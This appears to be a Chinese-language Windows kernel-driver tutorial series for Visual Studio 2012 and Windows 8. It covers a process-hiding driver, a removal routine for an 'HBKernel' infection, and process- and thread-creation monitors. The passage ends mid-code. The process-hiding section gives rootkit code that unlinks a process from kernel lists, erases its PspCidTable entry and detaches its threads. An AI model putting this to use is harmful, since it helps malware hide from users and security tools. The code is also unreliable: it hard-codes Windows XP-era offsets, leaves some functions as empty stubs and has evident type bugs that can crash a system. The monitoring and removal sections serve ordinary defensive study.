3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio2012与Windows8带来格外不同的新体验
1.启动Vs2012
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15192479.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
插入下列代码实现内核隐藏进程
头文件
~~~
#ifndef DBGHELP_H
#define DBGHELP_H 1
#include <ntifs.h>
/************************************************************************/
/* 重量级结构的申明 */
/************************************************************************/
typedef struct _HANDLE_TABLE {
ULONG Flags;
LONG HandleCount;
PHANDLE_TABLE_ENTRY **Table;
struct _EPROCESS *QuotaProcess;
HANDLE UniqueProcessId;
LONG FirstFreeTableEntry;
LONG NextIndexNeedingPool;
ERESOURCE HandleTableLock;
LIST_ENTRY HandleTableList;
KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;
typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN PVOID EnumParameter
);
typedef BOOLEAN(*__ExEnumHandleTable)(
IN PHANDLE_TABLE HandleTable,
IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
IN PVOID EnumParameter,
OUT PHANDLE Handle OPTIONAL
);
typedef BOOLEAN (*EXENUMHANDLETABLE)(
IN PHANDLE_TABLE HandleTable,
IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
IN PVOID EnumParameter,
OUT PHANDLE Handle OPTIONAL
);
/************************************************************************/
/* 申明一些全局变量 */
/************************************************************************/
ULONG g_Offset_Eprocess_Name=0;
ULONG g_Offset_Eprocess_Flink = 0;
ULONG g_Offset_Eprocess_ProcessId = 0;
ULONG g_Offset_Eprocess_HandleTable = 0;
__ExEnumHandleTable ExEnumHandleTable ;
PEPROCESS g_pEprocess_System = 0;
ULONG trytimes=0;
ULONG error=0;
/************************************************************************/
/* 申明一些函数 */
/************************************************************************/
BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter
);
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN ULONG ProcessId
);
VOID RemoveNodeFromActiveProcessLinks(
IN ULONG ProcessId
);
VOID
HideProcessById(
IN ULONG ProcessId
);
NTSTATUS
LookupProcessByName(
OUT PEPROCESS pEprocess
);
NTSTATUS
InitializeCommonVariables(
);
NTSTATUS GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
);
BOOLEAN IsValidModule(ULONG i);
void Search();
ULONG GetAddrFromProcessId();
VOID ClearMZMask();
#endif
~~~
源文件
~~~
VOID BreakThreadByProcess(ULONG Pid)
{
/*++
Routine Description:
将所有线程ETHREAD结构的ThreadsProcess抹掉
Return Value:
VOID
--*/
PEPROCESS eProcess;
PETHREAD eThread;
PLIST_ENTRY pList;
PsLookupProcessByProcessId(Pid,&eProcess);
pList = eProcess->Pcb.ThreadListHead.Blink;
while (pList != eProcess->Pcb.ThreadListHead.Flink)
{
eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry));
eThread->ThreadsProcess = 0;
pList = pList->Blink;
}
}
VOID ClearMZMask()
{
/*++
Routine Description:
擦除PE文件MZ,PE标志
Return Value:
VOID
--*/
PVOID addr;
ULONG pid;
PEPROCESS eProcess;
KAPC_STATE apcstatus;
pid = ProtectPid;
PsLookupProcessByProcessId(pid,&eProcess);
KeStackAttachProcess(eProcess,&apcstatus);
KeUnstackDetachProcess(&apcstatus);
}
ULONG GetAddrFromProcessId()
{
/*++
Routine Description:
搜索PsLookupProcessByProcessId函数得到PspCidTable的地址
ppPspCidTable:返回PspCidTable表地址
Return Value:
VOID
--*/
UNICODE_STRING pslookup;
PUCHAR addr;
PUCHAR p;
ULONG q;
RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId");
addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup);
for(p=addr;p<addr+PAGE_SIZE;p++)
{
if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8))
{
q=*(PULONG)(p+2);
return q;
break;
}
}
return 0;
}
BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
)
{
if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle)
{
*(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ;
return TRUE ;
}
return FALSE ;
}
// 修改一下,可以传递要擦除的ID做参数
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN ULONG ProcessId
)
{
/*++
Routine Description:
擦出PspCidTable结构中的句柄
pHandleTable:指向句柄表指针
ProcessId:进程的PID
Return Value:
VOID
--*/
NTSTATUS status ;
PVOID EnumParameter ;
UNICODE_STRING uniExEnumHandleTable ;
__ExEnumHandleTable ExEnumHandleTable ;
status=STATUS_NOT_FOUND ;
EnumParameter=ProcessId ;
RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable");
ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable);
if(NULL==ExEnumHandleTable)
{
return STATUS_NOT_FOUND ;
}
// Enum后可以擦除,Callback过程中不能擦除
if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL))
{
InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL);
status=STATUS_SUCCESS ;
}
return status ;
}
VOID RemoveNodeFromActiveProcessLinks(
IN ULONG ProcessId
)
{
/*++
Routine Description:
移除进程EPROCESS结构中的ActiveProces中自己的链表
ProcessId:进程的PID
Return Value:
VOID
--*/
NTSTATUS status;
LIST_ENTRY *pListEntry;
PEPROCESS pEprocess;
status = PsLookupProcessByProcessId(ProcessId,&pEprocess);
if (!NT_SUCCESS(status))
{
DbgPrint("PsLookupProcessByProcessId Error!\n");
return ;
}
// ObDereferenceObject(pEprocess);
pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88);
pListEntry->Flink->Blink = pListEntry->Blink;
pListEntry->Blink->Flink = pListEntry->Flink;
}
VOID
HideProcessById(
IN ULONG ProcessId
)
{
NTSTATUS status ;
HANDLE_TABLE *pPspCidTable ;
PEPROCESS pCsrssEprocess=NULL ;
status=InitializeCommonVariables();
pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId();
status=LookupProcessByName(pCsrssEprocess);
// 先从活动进程链表中摘除
RemoveNodeFromActiveProcessLinks(ProcessId);
// 擦除PspCidTable中对应的Object
EraseObjectFromHandleTable(pPspCidTable,ProcessId);
// 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃
// EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId);
return ;
}
NTSTATUS
LookupProcessByName(
OUT PEPROCESS pEprocess
)
{
PEPROCESS esProcess;
LIST_ENTRY *listen;
esProcess = PsGetCurrentProcess();
while (1)
{
listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink;
esProcess= (EPROCESS *)((ULONG)listen - 0x88);
DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe")))
{
DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
pEprocess = esProcess;
DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess);
return STATUS_SUCCESS;
break;
}
listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88));
}
}
NTSTATUS
GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
)
{
NTSTATUS status ;
PEPROCESS curproc ;
ULONG i ;
if(!MmIsAddressValid((PVOID)Offset))
{
status=STATUS_INVALID_PARAMETER ;
return status ;
}
curproc=PsGetCurrentProcess();
//
// 然后搜索KPEB,得到ProcessName相对KPEB的偏移量
// 偏移174h的位置,这里存的是进程的短文件名,少数地方用,
// 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断
// Scan for 12KB, hopping the KPEB never grows that big!
//
for(i=0;i<3*PAGE_SIZE;i++)
{
if(!strncmp("System",(PCHAR)curproc+i,strlen("System")))
{
*Offset=i ;
status=STATUS_SUCCESS ;
break ;
}
}
return status ;
}
NTSTATUS
InitializeCommonVariables(
)
{
NTSTATUS status ;
ULONG uMajorVersion ;
ULONG uMinorVersion ;
status=GetProcessNameOffset(&g_Offset_Eprocess_Name);
if(!NT_SUCCESS(status))
{
return status ;
}
g_pEprocess_System=PsGetCurrentProcess();
PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL);
if(uMajorVersion==4&&uMinorVersion==0)
{
g_Offset_Eprocess_Flink=152 ;
// Stop supporting NT 4.0
return STATUS_UNSUCCESSFUL ;
}
else if(uMajorVersion==5&&uMinorVersion==0)
{
g_Offset_Eprocess_ProcessId=156 ;
g_Offset_Eprocess_Flink=160 ;
g_Offset_Eprocess_HandleTable=0x128 ;
}
else if(uMajorVersion==5&&uMinorVersion==1)
{
g_Offset_Eprocess_ProcessId=132 ;
g_Offset_Eprocess_Flink=136 ;
g_Offset_Eprocess_HandleTable=0xC4 ;
}
else if(uMajorVersion==5&&uMinorVersion==2)
{
g_Offset_Eprocess_ProcessId=132 ;
g_Offset_Eprocess_Flink=136 ;
g_Offset_Eprocess_HandleTable=0xC4 ;
}
return STATUS_SUCCESS ;
}
/*++
Routine Description:
得到各个变量的偏移
Return Value:
VOID
--*/
~~~
基于Windows8与Visual Studio2012实现杀毒通用模块
最后更新于:2022-04-01 10:27:55
创建第一个Windows8应用程序,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf14b6011a.gif)
Visual Studio 11效果如下
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf153154d9.gif)
设计下列控件
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf1533d99a.gif)
针对程序进行命名
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf144e79ae.gif)
按钮插入下列代码实现杀毒,实现卸载驱动,删除文件,删除注册表,请见代码注释
~~~
WCHAR path[100];
// 需要删除的系统驱动及文件
WCHAR DeviceName[2][50] = { {"\\\\.\\slHBKernel"},
{"\\\\.\\slHBKernel32"} };
WCHAR ServiceName[2][50] = { {"HBKernel"},
{"HBKernel32"} };
WCHAR FileName[2][50] = { {"\\drivers\\HBKernel.sys"},
{"\\drivers\\HBKernel32.sys"} };
for ( int i=0; i<2; i++ )
{
HANDLE hDevice = CreateFile( DeviceName[i],
GENERIC_READ|GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
DWORD dLen;
BOOL Driver_DEL = DeviceIoControl(
hDevice,
0x22E003,
NULL,
0,
NULL,
0,
&dLen,
NULL
);
CloseHandle(hDevice);
if ( Driver_DEL==TRUE )
{
printf("Virus Device Driver %s has been unloaded...\n", DeviceName[i]);
}
SC_HANDLE scm = OpenSCManager(0, 0, 0x0F003F);
SC_HANDLE service = OpenService(scm, ServiceName[i], SERVICE_ALL_ACCESS|DELETE);
if ( service!=NULL )
{
if ( ControlService(service, 1, NULL) )
{
printf("The %s service has been stopped...\n", ServiceName[i]);
}
if ( DeleteService(service) )
{
printf("The %s file has been removed from the SCM...\n", ServiceName[i]);
}
}
CloseServiceHandle(service);
CloseServiceHandle(scm);
GetSystemDirectory(path, 100);
lstrcat(path, FileName[i]);
if ( DeleteFile(path) )
{
printf("The %s file has been removed from the Disk...\n", FileName[i]);
}
}
// 关闭HBInject程序的窗口
HWND hWnd = FindWindow(NULL, "HBInject");
if ( hWnd!=NULL )
{
SendMessage(hWnd, 0x10, NULL, NULL);
}
// 需要删除的文件
WCHAR files[][20] = { {"\\explore.exe"},
{"\\HBmhly.dll"},
{"\\System.exe"},
{"\\HBWOW.dll"},
{"\\Update.dat"}
};
for ( int j=0; j<5; j++ )
{
GetSystemDirectory(path, 100);
lstrcat(path, files[j]);
if ( DeleteFile(path) )
{
printf("The file %s has been removed from the Disk...\n", path);
}
}
// 需要删除的注册表键值
HKEY key = NULL;
if ( ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &key) )
{
if ( RegDeleteValue(key, "HBService")==ERROR_SUCCESS )
{
printf("The HBService has been removed from the Registry...\n");
}
if ( RegDeleteValue(key, "HBService32")==ERROR_SUCCESS )
{
printf("The HBService32 has been removed from the Registry...\n");
}
}
~~~
用Visual studio2012在Windows8上开发内核驱动监视进程创建
最后更新于:2022-04-01 10:27:52
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio2012与Windows8带来格外不同的新体验
1.启动Vs2012
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15192479.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
插入下列代码实现内核的进程创建
~~~
#include "ProcMon.h"
#include "../inc/ioctls.h"
//
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//
// 全局变量
//
PDEVICE_OBJECT g_pDeviceObject;
//
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//
// 函数实现
//
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS Status = STATUS_SUCCESS;
UNICODE_STRING ntDeviceName;
UNICODE_STRING dosDeviceName;
UNICODE_STRING ProcessEventString;
PDEVICE_EXTENSION deviceExtension;
PDEVICE_OBJECT deviceObject = NULL;
KdPrint(("[ProcMon] DriverEntry: %wZ\n", RegistryPath));
//
// 创建设备对象
//
RtlInitUnicodeString(&ntDeviceName, PROCMON_DEVICE_NAME_W);
Status = IoCreateDevice(
DriverObject,
sizeof(DEVICE_EXTENSION), // DeviceExtensionSize
&ntDeviceName, // DeviceName
FILE_DEVICE_PROCMON, // DeviceType
0, // DeviceCharacteristics
TRUE, // Exclusive
&deviceObject // [OUT]
);
if(!NT_SUCCESS(Status))
{
KdPrint(("[ProcMon] IoCreateDevice Error Code = 0x%X\n", Status));
return Status;
}
//
// 设置扩展结构
//
deviceExtension = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;
//
// Set up synchronization objects, state info,, etc.
//
deviceObject->Flags |= DO_BUFFERED_IO;
//
// 创建符号链接
//
RtlInitUnicodeString(&dosDeviceName, PROCMON_DOS_DEVICE_NAME_W);
Status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);
if(!NT_SUCCESS(Status))
{
KdPrint(("[ProcMon] IoCreateSymbolicLink Error Code = 0x%X\n", Status));
IoDeleteDevice(deviceObject);
return Status;
}
//
// 分发IRP
//
DriverObject->MajorFunction[IRP_MJ_CREATE] = ProcmonDispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = ProcmonDispatchClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ProcmonDispatchDeviceControl;
DriverObject->DriverUnload = ProcmonUnload;
//
// 保存设备对象指针
//
g_pDeviceObject = deviceObject;
//
// 创建事件对象与应用层通信
//
RtlInitUnicodeString(&ProcessEventString, EVENT_NAME);
deviceExtension->ProcessEvent = IoCreateNotificationEvent(&ProcessEventString, &deviceExtension->hProcessHandle);
KeClearEvent(deviceExtension->ProcessEvent); // 非受信状态
//
// 设置回调例程
//
Status = PsSetCreateProcessNotifyRoutine(ProcessCallback, FALSE);
return Status;
}
NTSTATUS
ProcmonDispatchCreate(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
KdPrint(("[ProcMon] IRP_MJ_CREATE\n"));
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS
ProcmonDispatchClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
KdPrint(("[ProcMon] IRP_MJ_CLOSE\n"));
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS
ProcmonDispatchDeviceControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack;
PDEVICE_EXTENSION deviceExtension;
ULONG inBufLength, outBufLength;
ULONG ioControlCode;
PCALLBACK_INFO pCallbackInfo;
// 获取当前设备栈
irpStack = IoGetCurrentIrpStackLocation(Irp);
deviceExtension = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
// 提取信息
pCallbackInfo = Irp->AssociatedIrp.SystemBuffer;
inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
// 处理不同的IOCTL
switch (ioControlCode)
{
case IOCTL_PROC_MON:
{
KdPrint(("[ProcMon] IOCTL: 0x%X", ioControlCode));
if (outBufLength >= sizeof(PCALLBACK_INFO))
{
pCallbackInfo->hParentId = deviceExtension->hParentId;
pCallbackInfo->hProcessId = deviceExtension->hProcessId;
pCallbackInfo->bCreate = deviceExtension->bCreate;
Irp->IoStatus.Information = outBufLength;
}
break;
}
default:
{
Status = STATUS_INVALID_PARAMETER;
Irp->IoStatus.Information = 0;
KdPrint(("[ProcMon] Unknown IOCTL: 0x%X (%04X,%04X)", \
ioControlCode, DEVICE_TYPE_FROM_CTL_CODE(ioControlCode), \
IoGetFunctionCodeFromCtlCode(ioControlCode)));
break;
}
}
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
VOID
ProcmonUnload(
IN PDRIVER_OBJECT DriverObject
)
{
UNICODE_STRING dosDeviceName;
//
// Free any resources
//
// 卸载回调例程
PsSetCreateProcessNotifyRoutine(ProcessCallback, TRUE);
//
// Delete the symbolic link
//
RtlInitUnicodeString(&dosDeviceName, PROCMON_DOS_DEVICE_NAME_W);
IoDeleteSymbolicLink(&dosDeviceName);
//
// Delete the device object
//
IoDeleteDevice(DriverObject->DeviceObject);
KdPrint(("[ProcMon] Unloaded"));
}
VOID
ProcessCallback(
IN HANDLE ParentId, // 父进程ID
IN HANDLE ProcessId, // 发生事件的进程ID
IN BOOLEAN Create // 进程是创建还是终止
)
{
PDEVICE_EXTENSION deviceExtension = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension;
deviceExtension->hParentId = ParentId;
deviceExtension->hProcessId = ProcessId;
deviceExtension->bCreate = Create;
// 触发事件,通知应用程序
KeSetEvent(deviceExtension->ProcessEvent, 0, FALSE);
KeClearEvent(deviceExtension->ProcessEvent);
}
//
//////////////////////////////////////////////////////////////////////////
~~~
ring3实现应用层的调用,搞定进程创建的监视
~~~
#include "windows.h"
#include "winioctl.h"
#include "stdio.h"
#include "../inc/ioctls.h"
#define SYMBOL_LINK "\\\\.\\ProcMon"
//#define SYMBOL_LINK "\\\\.\\slNTProcDrv"
int main()
{
CALLBACK_INFO cbkinfo, cbktemp = {0};
// 打开驱动设备对象
HANDLE hDriver = ::CreateFile(
SYMBOL_LINK,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDriver == INVALID_HANDLE_VALUE)
{
printf("打开驱动设备对象失败!\n");
return -1;
}
// 打开内核事件对象
HANDLE hProcessEvent = ::OpenEventW(SYNCHRONIZE, FALSE, EVENT_NAME);
while (::WaitForSingleObject(hProcessEvent, INFINITE))
{
DWORD dwRet;
BOOL bRet;
bRet = ::DeviceIoControl(
hDriver,
IOCTL_PROC_MON,
NULL,
0,
&cbkinfo,
sizeof(cbkinfo),
&dwRet,
NULL);
if (bRet)
{
if (cbkinfo.hParentId != cbktemp.hParentId || \
cbkinfo.hProcessId != cbktemp.hProcessId || \
cbkinfo.bCreate != cbktemp.bCreate)
{
if (cbkinfo.bCreate)
{
printf("有进程被创建,PID = %d\n", cbkinfo.hProcessId);
}
else
{
printf("有进程被终止,PID = %d\n", cbkinfo.hProcessId);
}
cbktemp = cbkinfo;
}
}
else
{
printf("\n获取进程信息失败!\n");
break;
}
}
::CloseHandle(hDriver);
return 0;
}
~~~
用Visual studio2012在Windows8上开发内核驱动监视线程创建
最后更新于:2022-04-01 10:27:50
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio2012与Windows8带来格外不同的新体验
1.启动Vs2012
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15192479.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
插入下列代码实现ring0层驱动监视创建线程,请见代码分析
~~~
#include "ThreadMon.h"
#include "../inc/ioctls.h"
//
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//
// 全局变量
//
PDEVICE_OBJECT g_pDeviceObject;
//
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//
// 函数实现
//
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS Status = STATUS_SUCCESS;
UNICODE_STRING ntDeviceName;
UNICODE_STRING dosDeviceName;
UNICODE_STRING ThreadEventString;
PDEVICE_EXTENSION deviceExtension;
PDEVICE_OBJECT deviceObject = NULL;
KdPrint(("[ThreadMon] DriverEntry: %wZ\n", RegistryPath));
//
// 创建设备对象
//
RtlInitUnicodeString(&ntDeviceName, THREADMON_DEVICE_NAME_W);
Status = IoCreateDevice(
DriverObject,
sizeof(DEVICE_EXTENSION), // DeviceExtensionSize
&ntDeviceName, // DeviceName
FILE_DEVICE_THREADMON, // DeviceType
0, // DeviceCharacteristics
TRUE, // Exclusive
&deviceObject // [OUT]
);
if(!NT_SUCCESS(Status))
{
KdPrint(("[ThreadMon] IoCreateDevice Error Code = 0x%X\n", Status));
return Status;
}
//
// 设置扩展结构
//
deviceExtension = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;
//
// Set up synchronization objects, state info,, etc.
//
deviceObject->Flags |= DO_BUFFERED_IO;
//
// 创建符号链接
//
RtlInitUnicodeString(&dosDeviceName, THREADMON_DOS_DEVICE_NAME_W);
Status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);
if(!NT_SUCCESS(Status))
{
KdPrint(("[ThreadMon] IoCreateSymbolicLink Error Code = 0x%X\n", Status));
IoDeleteDevice(deviceObject);
return Status;
}
//
// 分发IRP
//
DriverObject->MajorFunction[IRP_MJ_CREATE] = ThreadMonDispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = ThreadMonDispatchClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ThreadMonDispatchDeviceControl;
DriverObject->DriverUnload = ThreadMonUnload;
//
// 保存设备对象指针
//
g_pDeviceObject = deviceObject;
//
// 创建事件对象与应用层通信
//
RtlInitUnicodeString(&ThreadEventString, EVENT_NAME);
deviceExtension->ThreadEvent = IoCreateNotificationEvent(&ThreadEventString, &deviceExtension->ThreadHandle);
KeClearEvent(deviceExtension->ThreadEvent); // 非受信状态
//
// 设置回调例程
//
Status = PsSetCreateThreadNotifyRoutine(ThreadCallback);
return Status;
}
NTSTATUS
ThreadMonDispatchCreate(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
KdPrint(("[ThreadMon] IRP_MJ_CREATE\n"));
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS
ThreadMonDispatchClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
KdPrint(("[ThreadMon] IRP_MJ_CLOSE\n"));
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS
ThreadMonDispatchDeviceControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack;
PDEVICE_EXTENSION deviceExtension;
ULONG inBufLength, outBufLength;
ULONG ioControlCode;
PCALLBACK_INFO pCallbackInfo;
// 获取当前设备栈
irpStack = IoGetCurrentIrpStackLocation(Irp);
deviceExtension = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
// 提取信息
pCallbackInfo = Irp->AssociatedIrp.SystemBuffer;
inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
// 处理不同的IOCTL
switch (ioControlCode)
{
case IOCTL_THREAD_MON:
{
KdPrint(("[ThreadMon] IOCTL: 0x%X", ioControlCode));
if (outBufLength >= sizeof(PCALLBACK_INFO))
{
pCallbackInfo->ProcessId = deviceExtension->ProcessId;
pCallbackInfo->ThreadId = deviceExtension->ThreadId;
pCallbackInfo->Create = deviceExtension->Create;
Irp->IoStatus.Information = outBufLength;
}
break;
}
default:
{
Status = STATUS_INVALID_PARAMETER;
Irp->IoStatus.Information = 0;
KdPrint(("[ThreadMon] Unknown IOCTL: 0x%X (%04X,%04X)", \
